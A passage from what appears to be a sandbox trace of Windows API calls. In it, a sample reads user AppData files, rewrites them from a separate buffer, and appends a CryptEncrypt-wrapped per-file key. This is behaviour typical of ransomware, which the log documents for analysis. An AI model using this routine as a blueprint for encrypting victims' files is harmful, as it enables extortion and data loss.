lpDistanceToMoveHigh=0x0) returned 0x0 [0193.985] WriteFile (in: hFile=0x1c20, lpBuffer=0x30dd780*, nNumberOfBytesToWrite=0x8744, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd780*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8744, lpOverlapped=0x0) returned 1 [0193.985] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8744 [0193.985] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.985] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.985] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.985] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.986] CloseHandle (hObject=0x1c20) returned 1 [0193.987] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.987] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.987] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt", dwFileAttributes=0x80) returned 1 [0193.987] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_10[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.988] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15558) returned 1 [0193.988] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x3cc6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x3cc6, lpOverlapped=0x0) returned 1 [0193.989] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-15558, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.989] WriteFile (in: hFile=0x1c20, lpBuffer=0x30d8d00*, nNumberOfBytesToWrite=0x3cc6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8d00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3cc6, lpOverlapped=0x0) returned 1 [0193.989] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3cc6 [0193.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.990] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.990] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.990] CloseHandle (hObject=0x1c20) returned 1 [0193.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.991] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\container.dat", dwFileAttributes=0x80) returned 1 [0193.992] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.992] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.992] ReadFile (in: hFile=0x1c20, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.992] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.992] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.992] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.993] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.994] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.994] CloseHandle (hObject=0x1c20) returned 1 [0193.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\appcache[1].man", dwFileAttributes=0x80) returned 1 [0193.995] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\appcache[1].man" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\appcache[1].man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.996] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5724) returned 1 [0193.996] ReadFile (in: hFile=0x1c20, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x165c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x165c, lpOverlapped=0x0) returned 1 [0193.997] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-5724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.997] WriteFile (in: hFile=0x1c20, lpBuffer=0x33b4010*, nNumberOfBytesToWrite=0x165c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b4010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x165c, lpOverlapped=0x0) returned 1 [0193.997] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x165c [0193.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.997] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.998] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.998] CloseHandle (hObject=0x1c20) returned 1 [0193.999] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x5800ae7c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfd21f9cc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4df0 [0194.008] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x5800ae7c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfd21f9cc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.015] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee409780, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xee409780, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2216c19d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="aaa_Classic_{241d7c96-f8bf-4f85-b01f-e2b043341a4b}.settingcontent-ms", cAlternateFileName="AAA_CL~1.SET")) returned 1 [0194.015] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4c848e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xee4c848e, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2315dd0d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="aaa_Classic_{728047C0-00D2-4FDB-A069-06338B92E93B}.settingcontent-ms", cAlternateFileName="AAA_CL~2.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9ff5aa, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xee9ff5aa, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x231d0415, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3df, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="aaa_Classic_{7940ACF8-60BA-4213-A7C3-F3B400EE266D}.settingcontent-ms", cAlternateFileName="AAA_CL~3.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeef105ca, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xeef105ca, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x232db48a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="aaa_Classic_{A88F43D0-B9C8-42F2-B9F3-90902FC0B22B}.settingcontent-ms", cAlternateFileName="AAA_CL~4.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0418f5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xef0418f5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x233016ec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="aaa_Classic_{E2E2F6CF-9D1A-4004-8999-8AB81010B5AC}.settingcontent-ms", cAlternateFileName="AA5F2E~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef20b4d4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xef20b4d4, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_Proxy_Automatic_Config_Group.settingcontent-ms", cAlternateFileName="AAA_PR~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafc22a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xefafc22a, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupAppSizesList.settingcontent-ms", cAlternateFileName="AAA_SE~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefcc5f8a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xefcc5f8a, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupAutoplayDefaults.settingcontent-ms", cAlternateFileName="AAA_SE~2.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdf71b6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xefdf71b6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a9, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupDataSenseMainPageOverview.settingcontent-ms", cAlternateFileName="AAA_SE~3.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefeb5d90, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xefeb5d90, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a9, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupDataSenseMainPageSettings.settingcontent-ms", cAlternateFileName="AAA_SE~4.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf07a6a5a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf07a6a5a, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x49d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupEaseOfAccessFilterKeys.settingcontent-ms", cAlternateFileName="AA0FEE~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d03efc, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf0d03efc, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupEaseOfAccessNarrator.settingcontent-ms", cAlternateFileName="AAB00A~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf12613b7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf12613b7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupEaseOfAccessOSK.settingcontent-ms", cAlternateFileName="AAEB38~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1582539, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1582539, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupEaseOfAccessOther.settingcontent-ms", cAlternateFileName="AAD0AF~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17be8df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf17be8df, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x49d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupEaseOfAccessStickyKeys.settingcontent-ms", cAlternateFileName="AAC64E~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18efc2f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf18efc2f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x49d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupEaseOfAccessToggleKeys.settingcontent-ms", cAlternateFileName="AAD87B~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a470f8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1a470f8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupFamilyUsers.settingcontent-ms", cAlternateFileName="AAD94F~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c8349b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1c8349b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x463, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupInputMouse.settingcontent-ms", cAlternateFileName="AAA063~1.SET")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ee5a1b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1ee5a1b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupLockScreenPreview.settingcontent-ms", cAlternateFileName="AAE326~1.SET")) returned 1 [0194.017] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22c56e1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf22c56e1, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupMapsUpdates.settingcontent-ms", cAlternateFileName="AA7296~1.SET")) returned 1 [0194.020] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24b5566, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf24b5566, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupNotificationsAppList.settingcontent-ms", cAlternateFileName="AAC25D~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf267f231, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf267f231, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x475, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupOneSyncAccounts.settingcontent-ms", cAlternateFileName="AAECAE~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, 